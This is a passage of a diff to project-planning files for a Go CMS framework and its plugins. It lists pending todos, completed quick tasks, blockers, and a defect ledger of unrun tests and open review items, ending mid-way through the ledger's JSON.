- [2026-10-22] [sm-user-plugin] User password routes 404 switch — [todo file](.planning/todos/pending/2026-10-22-user-password-routes-404-switch.md)
|
||||
- [2026-10-22] [sm-user-plugin] User session routes ignore the cookie — [todo file](.planning/todos/pending/2026-10-22-user-session-routes-ignore-cookie.md)
|
||||
- [unknown] [cabana / admin] Audit-log admin action runs with the admin id (toolbar actions) — [todo file](.planning/todos/pending/admin-action-audit-log.md)
|
||||
- [unknown] [sm-faq-plugin] Port the FAQ plugin as sm-faq-plugin so FAQs become editable — [todo file](.planning/todos/pending/faq-plugin-port.md)
|
||||
- [unknown] [summercms.go lagoon] lagoon README registers an after-commit GORM callback that can sort after the flush — [todo file](.planning/todos/pending/lagoon-readme-after-commit-callback-order.md)
|
||||
- [unknown] [sm-user-plugin mail] Port MailBlocker and the block-mail checkbox with the mailing work — [todo file](.planning/todos/pending/mailblocker-with-mailing.md)
|
||||
- [unknown] [summercms.go] Nest framework packages under modules/ — same beach names — [todo file](.planning/todos/pending/nest-framework-packages-under-modules.md)
|
||||
- [unknown] [summercms.go/modules] Short README.md per modules/* after the nest — [todo file](.planning/todos/pending/per-module-readmes-after-nest.md)
|
||||
- [unknown] [sm-menu-plugin] Port the menu plugin as sm-menu-plugin so blog menus become editable — [todo file](.planning/todos/pending/menu-plugin-port.md)
|
||||
- [2026-10-21] [sm-user-plugin] Let password-less social accounts set a first password through change-password — [todo file](.planning/todos/pending/oauth-password-bootstrap-change-password.md)
|
||||
- [unknown] [summercms.go/modules/*/README.md, internal/docsite] Convert module README Go code blocks to compiled src= references — [todo file](.planning/todos/pending/readme-go-fences-src.md)
|
||||
- [unknown] [../fonoteka.go/README.md] Refresh fonoteka.go README — short status plus migrate/serve/login — [todo file](.planning/todos/pending/refresh-fonoteka-readme.md)
|
||||
- [unknown] [summercms.go/README.md] Rewrite summercms.go README — onboard, recreate login, honest cutover — [todo file](.planning/todos/pending/rewrite-summercms-readme.md)
|
||||
- [unknown] [cabana] Show the administrators holding a role on the Roles screen — [todo file](.planning/todos/pending/roles-screen-holders-list.md)
|
||||
- [unknown] [summercms.go internal/build] make:admin-controller output does not boot and names the model after the controller — [todo file](.planning/todos/pending/scaffold-admin-controller-incomplete.md)
|
||||
- [unknown] [summercms.go internal/build] Scaffolded files carry a DO NOT EDIT header, and make:command cannot reach the application — [todo file](.planning/todos/pending/scaffold-generated-header-and-command-deps.md)
|
||||
- [unknown] [summercms.go internal/build] make:model and make:migration in the same second produce migrations that run out of order — [todo file](.planning/todos/pending/scaffold-same-second-migration-order.md)
|
||||
- [2026-10-12] [framework] Purge the Nuxt site cache on menu and FAQ admin saves (framework-level purge service) — [todo file](.planning/todos/pending/site-cache-purge-for-menu-and-faq.md)
|
||||
- [unknown] [sm-sitemap-plugin] Port the sitemap plugin 1:1 as sm-sitemap-plugin for the next blog project — [todo file](.planning/todos/pending/sitemap-plugin-port.md)
|
||||
- [unknown] [summercms.go wristband] Neutral default resource URL in wristband.DefaultOptions — [todo file](.planning/todos/pending/wristband-neutral-resource-default.md)
|
||||
- [unknown] [sm-sitemap-plugin] Sitemap - replace the browser XSLT view before Chromium drops XSLT — [todo file](.planning/todos/pending/sitemap-xslt-browser-deprecation.md)
|
||||
|
||||
### Blockers/Concerns
|
||||
|
||||
@@ -645,6 +997,8 @@ Recent decisions affecting current work:
|
||||
- Phase 11 (River dual-driver split) is documented but unverified against a real build — plan with `--research-phase` and budget a timed-latency test.
|
||||
- Phase 8 UI gate: scripts/check-phase8-ui.mjs --final-gate's real Playwright browser matrix (32 UI-SPEC scenarios) is unimplemented (deliberate fatal() at check-phase8-ui.mjs:458, never authored by 08-05); stage_ui_harness must keep failing closed until a Playwright spec is authored. User approved Phase 8 closure on 2026-09-24 with this gap carried forward -- see 08-10-SUMMARY.md and .planning/phases/08-oauth2-1-authorization-server/deferred-items.md.
|
||||
- pending: push sm-user-plugin — 12.1-05 Task 3 condition (c) failed (`git ls-remote --tags origin v0.1.3` empty). Push summercms.go master and annotated tag v0.1.3 (local on df5cace) first, then the plugin, then fonoteka.go. Recorded in 12.1-05-SUMMARY.md.
|
||||
- 16.2-05 open UAT items: re-save HTML post 1 untouched (D-03 evidence vacuous), D-19 category edit check, root vhost install (frame-src), unpublish/delete test post 105
|
||||
- Phase 19.4: review warnings WR-01..06 are open (19.4-REVIEW-DISPOSITION.md); WR-01 (a replayed code does not revoke rotated refresh tokens) must be fixed before any client enables refresh. Release still pending: tag summercms, bump sm-oauthserver-plugin go.mod to sm-user-plugin v0.1.1 / summercms v0.2.4.
|
||||
|
||||
### Quick Tasks Completed
|
||||
|
||||
@@ -669,6 +1023,42 @@ Recent decisions affecting current work:
|
||||
| 261007-p4y | Switch toggle pixel sizing; settings entries linking to admin controllers; translate Locales moved to Settings | 2026-10-07 | 0b09acd | [261007-p4y-toggle-proportions-and-settings-controll](./quick/261007-p4y-toggle-proportions-and-settings-controll/) |
|
||||
| 18 | cabana list: join to-many relation column values with ", " | 2026-10-07 | fa25b4e | — |
|
||||
| 261007-qgx | Admin record heading, crumb and title from the first text or mltext field (default locale) | 2026-10-07 | a714bb4 | [261007-qgx-admin-record-heading-uses-translatable-m](./quick/261007-qgx-admin-record-heading-uses-translatable-m/) |
|
||||
| 261008-k7s | Bootstrap script PATH hint per login shell (fish/zsh/bash) | 2026-10-08 | ddf1178 | [261008-k7s-bootstrap-script-path-hint-per-shell](./quick/261008-k7s-bootstrap-script-path-hint-per-shell/) |
|
||||
| 261008-kdf | summer delegates pass flags through, admin/route/key delegates, signal forwarding | 2026-10-08 | 50c8cee | [261008-kdf-delegated-summer-commands-pass-flags-thr](./quick/261008-kdf-delegated-summer-commands-pass-flags-thr/) |
|
||||
| 261008-kdh | serve prints URL and admin status; summer new apps admin-ready | 2026-10-08 | f70d80e | [261008-kdh-serve-startup-and-admin-feedback-admin-r](./quick/261008-kdh-serve-startup-and-admin-feedback-admin-r/) |
|
||||
| 261008-o6k | summercms.io/update: update one application in place (framework checkout, CLI, .env admin secret, build) | 2026-10-08 | 9b3803c | [261008-o6k-bootstrap-upgrade-mode-for-existing-chec](./quick/261008-o6k-bootstrap-upgrade-mode-for-existing-chec/) |
|
||||
| 261009-i6e | add the anonymous author endpoint to sm-journal-plugin (D-20) | 2026-10-09 | sm-journal-plugin 908ade9, 57a347c | [261009-i6e-add-the-anonymous-author-endpoint-to-sm-](./quick/261009-i6e-add-the-anonymous-author-endpoint-to-sm-/) |
|
||||
| 261009-mgk | add the category content field to sm-journal-plugin (D-21) | 2026-10-09 | sm-journal-plugin 740dcd0, f22d089, 3d533d4 | [261009-mgk-add-the-category-content-field-to-sm-jou](./quick/261009-mgk-add-the-category-content-field-to-sm-jou/) |
|
||||
| 261009-mys | Add subtitle and avatar to backend users and a My account page (avatar menu, like WinterCMS) | 2026-10-09 | 143eca5, 64d21c8, 4f1cda3, 89611ea | [261009-mys-add-subtitle-and-avatar-to-backend-users](./quick/261009-mys-add-subtitle-and-avatar-to-backend-users/) |
|
||||
| 261010-iwu | Blog Editor live preview pane: toggleable, sandboxed iframe, embed thumbnail cards (16.2 follow-up) | 2026-10-10 | sm-journal-plugin df67939, c1f6a83, 2c78211 | [261010-iwu-blog-editor-live-preview-pane-toggleable](./quick/261010-iwu-blog-editor-live-preview-pane-toggleable/) |
|
||||
| 28 | Admin navbar View site link (admin origin root, new tab) | 2026-10-10 | 85fe541 | — |
|
||||
| 261011-joh | sieve: generic collection helpers module (Map, TryMap, Filter, Reduce, KeyBy, GroupBy, Uniq, UniqBy, Partition, Find, Set) | 2026-10-11 | 6933004, a0bf8ec | [261011-joh-sieve-generic-collection-helpers-module](./quick/261011-joh-sieve-generic-collection-helpers-module/) |
|
||||
| 30 | go test -short runs without Docker: TestMain flag parsing fix in 4 modules, cabana list fixture skip | 2026-10-11 | 7ef2e4f, c85cb64 | — |
|
||||
| 261011-kzi | Fix Phase 09 gaps: fonoteka phase09AdminRoutes inventory + per-guard cabana last_used_at throttle | 2026-10-11 | b45af8e | [261011-kzi-fix-phase-09-gaps-add-the-10-post-phase-](./quick/261011-kzi-fix-phase-09-gaps-add-the-10-post-phase-/) |
|
||||
| 261011-mag | fix check-phase10.sh hygiene gaps from 10-VERIFICATION.md | 2026-10-11 | 1541cd4 | [261011-mag-fix-check-phase10-sh-hygiene-gaps-from-1](./quick/261011-mag-fix-check-phase10-sh-hygiene-gaps-from-1/) |
|
||||
| 261012-s3g | Fix Phase 10 security blockers: DOMPurify richeditor display sanitizer (T-10-16), check-phase10 hygiene green (T-10-24/25), CSP form-action/frame-src; --all still red on fonoteka.go TestPhase09SecurityRoutes | 2026-10-12 | 708b3ec | [261012-s3g-fix-phase-10-security-blockers-t-10-16-d](./quick/261012-s3g-fix-phase-10-security-blockers-t-10-16-d/) |
|
||||
| 261013-0wa | Close T-17-15: validate sitemap frontend_url and escape it in Rewrite | 2026-10-12 | 6e5a8e7 | [261013-0wa-close-t-17-15-validate-sitemap-frontend-](./quick/261013-0wa-close-t-17-15-validate-sitemap-frontend-/) |
|
||||
| 261015-w7f | Framework docs since v0.1.14 + Upgrading to 0.2, release v0.2.0 (plugins, layers), deploy summercms.io | 2026-10-15 | a204d38 | [261015-w7f-update-framework-docs-for-phase-19-3-rel](./quick/261015-w7f-update-framework-docs-for-phase-19-3-rel/) |
|
||||
| 36 | summercms.io copy Alpha 0.1 → 0.2 (vue b5d6dbb, app 6a13a87), deployed | 2026-10-15 | 853ea1f | — |
|
||||
| 261016-0fm | Admin minors for v0.2.1: theme switch, language switch, settings nav on form pages | 2026-10-16 | 66fd4ae | [261016-0fm-admin-minors-for-v0-2-1-theme-switch-lan](./quick/261016-0fm-admin-minors-for-v0-2-1-theme-switch-lan/) |
|
||||
| 261016-s8x | PaymentGateway: banner bottom margin and hide disabled sections from admin navigation | 2026-10-16 | ab9f385 | [261016-s8x-paymentgateway-banner-bottom-margin-and-](./quick/261016-s8x-paymentgateway-banner-bottom-margin-and-/) |
|
||||
| 261018-k9s | add the D-17 module in summercms.go: modules/breakwater Render(markdown)/Purify(html) with the forum bluemonday policy | 2026-10-18 | 98bc6de | [261018-k9s-add-the-d-17-module-in-summercms-go](./quick/261018-k9s-add-the-d-17-module-in-summercms-go/) |
|
||||
| 40 | Goldens secret scan in check-phase19.1.sh (closes T-19.1-12) | 2026-10-18 | 8643195 | — |
|
||||
| 261018-qbs | Fix 19.1 review WR-04 (chatbots dispatch checks IsAvailable) and WR-05 (chatvideo user.Deleting heir + LiveKit cleanup); extending.md optional-dependency go.mod note | 2026-10-18 | 97daec5 | [261018-qbs-fix-19-1-review-findings-wr-04-chatbots-](./quick/261018-qbs-fix-19-1-review-findings-wr-04-chatbots-/) |
|
||||
| 261019-05g | Phase 17 verify-work unblock (COVERAGE.md reason, goal as user story, sm-sitemap-plugin requires v0.2.0) and console docs example of the application binary's --help | 2026-10-19 | 86c5a80 | [261019-05g-phase-17-verify-work-unblock-coverage-md](./quick/261019-05g-phase-17-verify-work-unblock-coverage-md/) |
|
||||
| 261019-hgw | Translate hook ValidationError phrase keys in the request locale | 2026-10-19 | ce8d7ef | [261019-hgw-translate-hook-validationerror-phrase-ke](./quick/261019-hgw-translate-hook-validationerror-phrase-ke/) |
|
||||
| 261020-13e | Admin image previews of public files fall back to the authenticated thumb route | 2026-10-19 | 1ab7db4 | [261020-13e-admin-file-upload-widget-image-preview-a](./quick/261020-13e-admin-file-upload-widget-image-preview-a/) |
|
||||
| 261020-42e | branded HTML error pages for browsers | 2026-10-20 | a34c251 | [261020-42e-branded-html-error-pages-for-browsers-un](./quick/261020-42e-branded-html-error-pages-for-browsers-un/) |
|
||||
| 261020-sdt | Rotate the site-cache purge token and rename the layer variable (demo + summercms.io) | 2026-10-20 | 4270d05 | [261020-sdt-rotate-the-purge-token-and-rename-the-la](./quick/261020-sdt-rotate-the-purge-token-and-rename-the-la/) |
|
||||
| 261022-4z8 | Fix the open 19.8 re-review findings (WR-09..WR-14, IN-14, IN-15) | 2026-10-22 | b1fba7e | [261022-4z8-fix-the-open-19-8-re-review-findings-wr-](./quick/261022-4z8-fix-the-open-19-8-re-review-findings-wr-/) |
|
||||
| 261022-k9k | Admin keyboard shortcuts: Ctrl+S, Ctrl+Enter, Ctrl+Shift+S (Create and new), / search, Esc, ? help | 2026-10-22 | 604fee7 | [261022-k9k-keyboard-shortcuts-in-the-admin-spa-ctrl](./quick/261022-k9k-keyboard-shortcuts-in-the-admin-spa-ctrl/) |
|
||||
| 261022-tb4 | Password /login refuses a not-activated account while require_activation is on (sm-user-plugin 15ff979, unreleased: hold until the escalation batch lands) | 2026-10-22 | 15ff979 (sm-user-plugin) | [261022-tb4-password-login-must-refuse-is-activated-](./quick/261022-tb4-password-login-must-refuse-is-activated-/) |
|
||||
| 261022-tto | User plugin /fetch, /refresh, /update, /change-password accept token/auth_token session cookies (sm-user-plugin 8e4b863, ships v0.5.0) | 2026-10-22 | 8e4b863 (sm-user-plugin) | [261022-tto-fetch-refresh-update-change-password-mus](./quick/261022-tto-fetch-refresh-update-change-password-mus/) |
|
||||
| 261022-usi | User plugin jwt blacklist and GORM hooks wired via lagoon.OnDatabase so logout revokes under serve; jwt guard uses SessionCookieNames (sm-user-plugin 4bf44fc, ships v0.5.0) | 2026-10-22 | 4bf44fc (sm-user-plugin) | [261022-usi-user-plugin-jwt-blacklist-and-hooks-wire](./quick/261022-usi-user-plugin-jwt-blacklist-and-hooks-wire/) |
|
||||
| 261022-vfz | User plugin /login throttle keyed on surf.ClientIP (trusted proxies); reset-password and admin password set stamp tokens_valid_after in whole seconds (sm-user-plugin b6f8055, a484d0e, ships v0.5.0; verified) | 2026-10-22 | b6f8055, a484d0e (sm-user-plugin) | [261022-vfz-user-plugin-login-throttle-via-surf-clie](./quick/261022-vfz-user-plugin-login-throttle-via-surf-clie/) |
|
||||
| 261022-wah | User plugin opt-in golem15.user.jwt.token_cookie (default off) sets the HttpOnly auth.cookie session cookie on /login, /register and /activate-by-code instead of the body token; a /refresh carried by the auth.cookie cookie rewrites it (sm-user-plugin 846087d, 8bdf2c7, ships v0.5.0; verified) | 2026-10-22 | 846087d, 8bdf2c7 (sm-user-plugin) | [261022-wah-opt-in-httponly-session-cookie-on-user-p](./quick/261022-wah-opt-in-httponly-session-cookie-on-user-p/) |
|
||||
| 261022-x7a | User plugin golem15.user.password.public_routes (default true): false leaves POST /login, /forgot-password and /reset-password unregistered so they 404 like unknown paths; /register and the rest unchanged (sm-user-plugin 3828a65, ships v0.5.0; verified) | 2026-10-22 | e5dd457 | [261022-x7a-user-plugin-golem15-user-password-public](./quick/261022-x7a-user-plugin-golem15-user-password-public/) |
|
||||
| 55 | fix(cabana): backend subject events reach pier as *pact.MCPSubjectChanged after commit | 2026-10-23 | 7c43820 | — |
|
||||
|
||||
## Deferred Items
|
||||
|
||||
@@ -680,6 +1070,6 @@ Items acknowledged and carried forward from previous milestone close:
|
||||
|
||||
## Session Continuity
|
||||
|
||||
Last session: 2026-10-08T10:32:00.180Z
|
||||
Stopped at: Completed 14.3-04-PLAN.md
|
||||
Resume file: None
|
||||
Last session: 2026-10-24T14:47:37.432Z
|
||||
Stopped at: Phase 32 context gathered
|
||||
Resume file: .planning/phases/32-seo-foundation/32-CONTEXT.md
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
---
|
||||
schema_version: 1
|
||||
open_count: 4
|
||||
open_count: 20
|
||||
waived_count: 0
|
||||
fixed_count: 6
|
||||
total_count: 10
|
||||
last_updated: 2026-10-05T12:07:04.853Z
|
||||
fixed_count: 7
|
||||
total_count: 27
|
||||
last_updated: 2026-10-22T14:44:56.679Z
|
||||
---
|
||||
|
||||
# Broken Windows Ledger
|
||||
|
||||
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/gsd-ship` blocks while `open_count > 0`.
|
||||
> Waive with `gsd-tools windows waive <id> "<reason>"` (reason required).
|
||||
> Mark fixed with `gsd-tools windows fixed <id>`.
|
||||
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/msd-ship` blocks while `open_count > 0`.
|
||||
> Waive with `msd-tools windows waive <id> "<reason>"` (reason required).
|
||||
> Mark fixed with `msd-tools windows fixed <id>`.
|
||||
|
||||
| id | phase | kind | file | line | description | status | reason | recorded_at | resolved_at |
|
||||
|----|-------|------|------|------|-------------|--------|--------|-------------|-------------|
|
||||
@@ -25,6 +25,23 @@ last_updated: 2026-10-05T12:07:04.853Z
|
||||
| 8 | 11 | skipped-test | parity/broadcast_goldens_test.go | | fonoteka.go: TestBroadcastGoldens/created and /updated t.Skip as pending; Phase 12 turns the recorded PHP created/updated goldens into assertions (album subtree, literal created_at/updated_at and artist id handling) | open | | 2026-09-30T11:32:37.302Z | |
|
||||
| 9 | 12.1 | stub | admin/src/components/form/RecordActions.vue | | RecordActions.vue is built and tested but not mounted; plan 12.1-02 mounts it in the preview footer, until then meta.actions is served and no screen shows the buttons | fixed | | 2026-10-04T21:55:30.405Z | 2026-10-05T10:41:16.319Z |
|
||||
| 10 | 12.1 | unmet-truth | .planning/phases/12.1-user-plugin-admin-screens/deferred-items.md | | fonoteka.go: four application tests pin lists the user plugin's admin work changes (TestAdminMetadataFiltering nav list, TestHiddenNeverMarshals user model count, parity TestMigrateSeedsCanonicalGenres and TestRollbackLastIsolatesFonoteka migration ids); with the two from plan 12.1-02 they keep plan 12.1-03's application verify red until plan 12.1-04 updates them | fixed | | 2026-10-05T11:31:36.781Z | 2026-10-05T12:07:04.853Z |
|
||||
| 11 | 16.1 | unrun-verify | modules/cabana/query_relation_test.go | | TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:22.934Z | |
|
||||
| 12 | 16.1 | unrun-verify | .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md | | sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:27.671Z | |
|
||||
| 13 | 16.2 | deviation | tests/blogeditor/fixtures/imported-post.html | | sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted | open | | 2026-10-10T09:54:57.288Z | |
|
||||
| 14 | 16.2 | unrun-verify | plugin_test.go | | sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06) | open | | 2026-10-10T09:54:57.583Z | |
|
||||
| 15 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md | | sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06) | open | | 2026-10-10T10:12:10.725Z | |
|
||||
| 16 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md | | sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06) | open | | 2026-10-10T10:12:10.986Z | |
|
||||
| 17 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run | fixed | | 2026-10-10T11:35:56.721Z | 2026-10-10T12:04:50.783Z |
|
||||
| 18 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged | open | | 2026-10-10T11:35:56.955Z | |
|
||||
| 19 | 16.2 | todo | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105) | open | | 2026-10-10T11:35:57.234Z | |
|
||||
| 20 | 16.2 | unrun-verify | modules/cabana/field_type_postgres_test.go | | 16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres | open | | 2026-10-10T14:17:06.378Z | |
|
||||
| 21 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md | | sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres | open | | 2026-10-10T14:17:06.621Z | |
|
||||
| 22 | 19.1 | deviation | sm-forum-plugin/go.mod | | go.mod lists bluemonday and goldmark as // indirect via breakwater; no direct require | open | | 2026-10-18T13:42:54.900Z | |
|
||||
| 23 | 19.1 | deviation | classes/lifecycle.go | | Task 4 methods besides DeleteContext live in classes/lifecycle.go | open | | 2026-10-18T13:42:55.096Z | |
|
||||
| 24 | 19.7 | deviation | modules/cabana | | 19.7-01: capabilities_test field-count assertion updated 2->3 for AdminRecordActionInput.Value | open | | 2026-10-22T14:44:56.001Z | |
|
||||
| 25 | 19.7 | deviation | modules/cabana | | 19.7-01: admin route inventories (phase09Routes, tokenRouteClasses, CSRF walk 35, phase10 want list, conformCases) extended for the two account contribution routes | open | | 2026-10-22T14:44:56.218Z | |
|
||||
| 26 | 19.7 | deviation | modules/cabana | | 19.7-01: TestRecordActionPromptRun added on Postgres to prove Run receives the trimmed prompt value | open | | 2026-10-22T14:44:56.449Z | |
|
||||
| 27 | 19.7 | unrun-verify | scripts/check-phase19.6.1.sh | | 19.7-01: check-phase19.6.1.sh --all stopped by the host (memory pressure) after the cabana and surf Postgres suites passed; re-run on the Docker host | open | | 2026-10-22T14:44:56.679Z | |
|
||||
|
||||
````json
|
||||
[
|
||||
@@ -157,6 +174,227 @@ last_updated: 2026-10-05T12:07:04.853Z
|
||||
"recorded_at": "2026-10-05T11:31:36.781Z",
|
||||
"resolved_at": "2026-10-05T12:07:04.853Z",
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 11,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.1",
|
||||
"file": "modules/cabana/query_relation_test.go",
|
||||
"line": null,
|
||||
"description": "TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-09T20:51:22.934Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 12,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.1",
|
||||
"file": ".planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-09T20:51:27.671Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 13,
|
||||
"kind": "deviation",
|
||||
"phase": "16.2",
|
||||
"file": "tests/blogeditor/fixtures/imported-post.html",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T09:54:57.288Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 14,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": "plugin_test.go",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T09:54:57.583Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 15,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T10:12:10.725Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 16,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T10:12:10.986Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 17,
|
||||
"kind": "unmet-truth",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
|
||||
"line": null,
|
||||
"description": "16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run",
|
||||
"status": "fixed",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T11:35:56.721Z",
|
||||
"resolved_at": "2026-10-10T12:04:50.783Z",
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 18,
|
||||
"kind": "unmet-truth",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
|
||||
"line": null,
|
||||
"description": "16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T11:35:56.955Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 19,
|
||||
"kind": "todo",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
|
||||
"line": null,
|
||||
"description": "16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105)",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T11:35:57.234Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 20,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": "modules/cabana/field_type_postgres_test.go",
|
||||
"line": null,
|
||||
"description": "16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T14:17:06.378Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 21,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "16.2",
|
||||
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md",
|
||||
"line": null,
|
||||
"description": "sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-10T14:17:06.621Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 22,
|
||||
"kind": "deviation",
|
||||
"phase": "19.1",
|
||||
"file": "sm-forum-plugin/go.mod",
|
||||
"line": null,
|
||||
"description": "go.mod lists bluemonday and goldmark as // indirect via breakwater; no direct require",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-18T13:42:54.900Z",
|
||||
"resolved_at": null,
|
